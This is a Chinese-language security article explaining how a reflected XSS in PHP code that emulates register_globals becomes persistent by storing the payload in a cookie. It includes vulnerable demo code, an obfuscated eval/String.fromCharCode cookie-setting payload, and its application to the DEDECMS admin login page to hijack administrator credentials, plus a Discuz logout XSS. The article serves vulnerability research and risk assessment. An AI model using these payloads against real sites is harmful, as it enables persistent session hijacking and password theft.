深掘XSS漏洞場景之XSS Rootkit[完整修訂版]

0×00 前言

衆所周知XSS漏洞的風險定義一直比較模糊，XSS漏洞屬於高危漏洞還是低風險漏洞一直以來都有所爭議。XSS漏洞類型主要分爲兩種持久型和非持久型：

1. 非持久型XSS漏洞一般存在於URL參數中，需要訪問***構造好的特定URL才能觸發漏洞。

2. 持久型XSS漏洞一般存在於富文本等交互功能，如發帖留言等，***可以用XSS內容經正常功能進入數據庫持久保存。

3. DOM XSS漏洞，也分爲持久和非持久型兩種，多是通過javascript DOM接口獲取地址欄、referer或編碼指定HTML標籤內容造成。

一般持久型XSS漏洞比非持久型XSS漏洞風險等級高，從漏洞的本質上來說這是沒錯的，但漏洞的利用仍然需要看場景，有時候更深入的看待場景能夠挖掘出意想不到的東西，大家接着往下看。

0×01 漏洞場景解析

首先我給出一段PHP分頁的XSS漏洞的簡單代碼：

demo.php————————————————————-
< ?php
foreach(Array(‘_GET’,'_POST’,'_cookie’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = $_v;
}
?>

<a href=”<? echo $_SERVER["PHP_SELF"]; ?>?i=<? echo $id;?>”>分頁</a>
———————————————————————

這段PHP代碼中模擬register_globals是Web程序中常見的，代碼中輸出了網頁的分頁鏈接這個也是常見的，因爲忽略了對傳入數據的效驗，更產生了最常見的XSS漏洞。

下面是這個XSS漏洞的驗證方法：
http://127.0.0.1/demo.php?id=1″><script>alert(1)</script>

GET方法在id參數中傳入HTML內容，導致網頁內容中的herf閉合，執行script標籤裏的腳本內容：

<a href=”/demo.php?id=1″><script>alert(1)</script>”>分頁</a>

這是一個典型的非持久型XSS漏洞，在常規的思維邏輯下，這個漏洞到這裏基本就打止了，本文也馬上要變爲普通的科普文了，然而事實並沒有那麼簡單，這個漏洞場景再深入挖掘，就牽出了本文的重頭戲。

0×02 XSS Rootkit實現方法

我們知道操作系統有Rootkit這樣的內核後門，Rootkit最大的特性之一就是隱蔽，普通的安全軟件無法檢測出系統中運作着Rootkit，以保證Rootkit後門能長久存活於系統中，而Web程序的漏洞很難達到這一效果，而我發現某些特定場景的XSS漏洞能夠達到這一效果。

現今流行的PHP Web程序的都喜歡自己模擬register_globals（全局變量註冊）這一特性，通過GET、POST、cookie等方法註冊變量（本文下面的內容都簡稱GPC），通過GPC直接註冊變量方便整個程序的運作，而本文的重點即是圍繞這一點來展開的。

第一部分的我模擬的XSS漏洞即是一個典型的全局變量註冊的場景，demo.php不僅可以GET傳參，還能接受cookie傳參，變量註冊順序是GPC，由於註冊變量的流程是一個foreach循環，所以通過GP註冊變量最後能被C覆蓋，而cookie是客戶端瀏覽器的持久化數據，如果通過XSS漏洞設置cookie，我們完全可以把這個典型的非持久型XSS漏洞變成持久的，說到這裏大家一定感覺非常興奮了，我就來實際測試一下：

先寫出一段設置cookie的javascript代碼

Persistence_data=’”><script>alert(/xss/)</script>
var date=new Date();
var expireDays=365; //設置cookie一年後失效
date.setTime(date.getTime()+expireDays*24*3600*1000);
document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //設置cookie的id參數值爲XSS代碼

把設置cookie的javascript代碼編碼一次，放入XSS URL中，這樣防止魔術引號和不同瀏覽器編碼的未知情況影響我們的測試，關閉IE8/9等XSS篩選器後，我們訪問下面的URL讓XSS生效。

http://127.0.0.1/demo.php?id=1″><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))</script>

結果令人非常滿意，當我們關閉瀏覽器乃至關閉重啓電腦後，再重新訪問下面的網頁：

無論是訪問http://127.0.0.1/demo.php

還是訪問http://127.0.0.1/demo.php?id=1

我們的XSS代碼都會生效，同時如果客戶端未清理cookie，這個XSS漏洞將有效一年的時間，達到了Rootkit隱蔽和能夠持久存活的效果。

0×03 XSS Rootkit實戰

DEDECMS後臺登陸主頁的模板中有個gotopage變量存在XSS漏洞，代碼如下：

dede\templets\login.htm

65行左右

<input type=”hidden” name=”gotopage” value=”<?php if(!empty($gotopage)) echo $gotopage;?>” />

DEDECMS核心代碼中，模擬全局變量註冊機制的順序是GPC，也就是C能夠覆蓋GP所註冊的變量。

我們再套用0X02的代碼測試，可以在cookie中持久化保存gotopage變量，如果管理員觸發過我們的XSS漏洞，我們就能在管理員的cookie中持久化保存gotopage變量，將gotopage隱藏表單值變爲我們的任意腳本內容，以後管理員只要是訪問後臺頁面都會觸發XSS漏洞，我們完全可以劫持管理員的整個登陸過程，悄無聲息的直接獲取管理員的密碼。

當然DEDECMS這個漏洞的如何靈活運用更取決於***的發散思維，比如IE8/9等會攔截URL XSS，我們可以利用一個持久型的XSS或DOM XSS做爲這類XSS Rootkit漏洞的payload,另外cookie的設置不限於同源策略,在任意子域名設置的cookie，可以讓整個域名的應用都接受這個cookie,***可以脫離於DEDECMS程序本身的限制,在整個網站架構上的薄弱點***DEDECMS的後臺。

0×04 深入XSS Rootkit場景

在PHP全局變量註冊機制的場景下，調整GPC的註冊變量的順序可以減弱XSS Rootkit***效果，如discuz程序：

foreach(array(‘_COOKIE’, ’_POST’, ’_GET’) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != ’_' && $$_key = daddslashes($_value);
}
}

註冊變量的順序是CPG，我們的C始終都不能覆蓋GP所註冊過的變量，不過程序的某個流程導致變量未初始化，還是能產生XSS Rootkit效果，如

http://xx.163.com/logging.php?action=logout&referer=alert()&formhash=rootkit< /div>

在DISCUZ程序的退出代碼存在一個XSS漏洞，在用戶沒有登陸的情況下，退出代碼中的referer變量沒有初始化，導致我們能任意控制這個變量。

在這個情況下我們不用擔心CPG的註冊順序問題，但我們需要構造特定的URL，造成變量未初始化的情況才能觸發XSS漏洞，這樣XSS Rootkit***效果就大打折扣了，用戶在登陸後的正常退出操作是不能觸發我們的XSS漏洞的，已脫離了XSS Rookit的優勢。

另外一個場景是濫用request類變量的情況，在不同腳本和服務器環境中request類變量的效果可能不同，如在我之前的《淺談繞過WAF的數種方法》提到了asp/asp .net等request類變量有復參特性，所以gpc的內容都能同時進入註冊變量，也可能會產生XSS Rootkit漏洞的情況。

最後還有一類特殊的DOM XSS情況，80sec的成員瘋狗在幾年前發現過，某大型網站的主頁讀取COOKIE中的用戶ID在網頁中顯示並沒有進行HTML編碼，導致一個XSS漏洞即可在主頁中安裝XSS Rookit。

當然還有更多的場景，在劍心的《web應用程序中的rootkit》也都有提過，XSS Rootkit的場景我就解讀到這裏了，更多的場景就留給大家思維發散了。

0×05 後話

至此我們用非持久型XSS漏洞完成了一次到XSS Rootkit的轉變，再一次揭示了漏洞的場景有多麼重要，深掘漏洞場景完成一次本質的昇華是多麼美妙的事情。

程序員需要重視程序安全的每一個細節，任何一個不起眼的漏洞都可能會造成意想不到的危害。

一些web漏洞掃描器報告中提示非持久型XSS漏洞標爲高危漏洞，普遍存在爭議的情況，可以根據本文做參考，對場景再深入挖掘來定義風險，那麼本文最重要的目的也就達到了。

0×06 參考

跨站腳本漏洞導致的瀏覽器劫持***

http://www.80sec.com/browser-hijacking.html

web應用程序中的rootkit

http://www.80sec.com/webapp-rootki.html

淺談繞過WAF的數種方法

http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html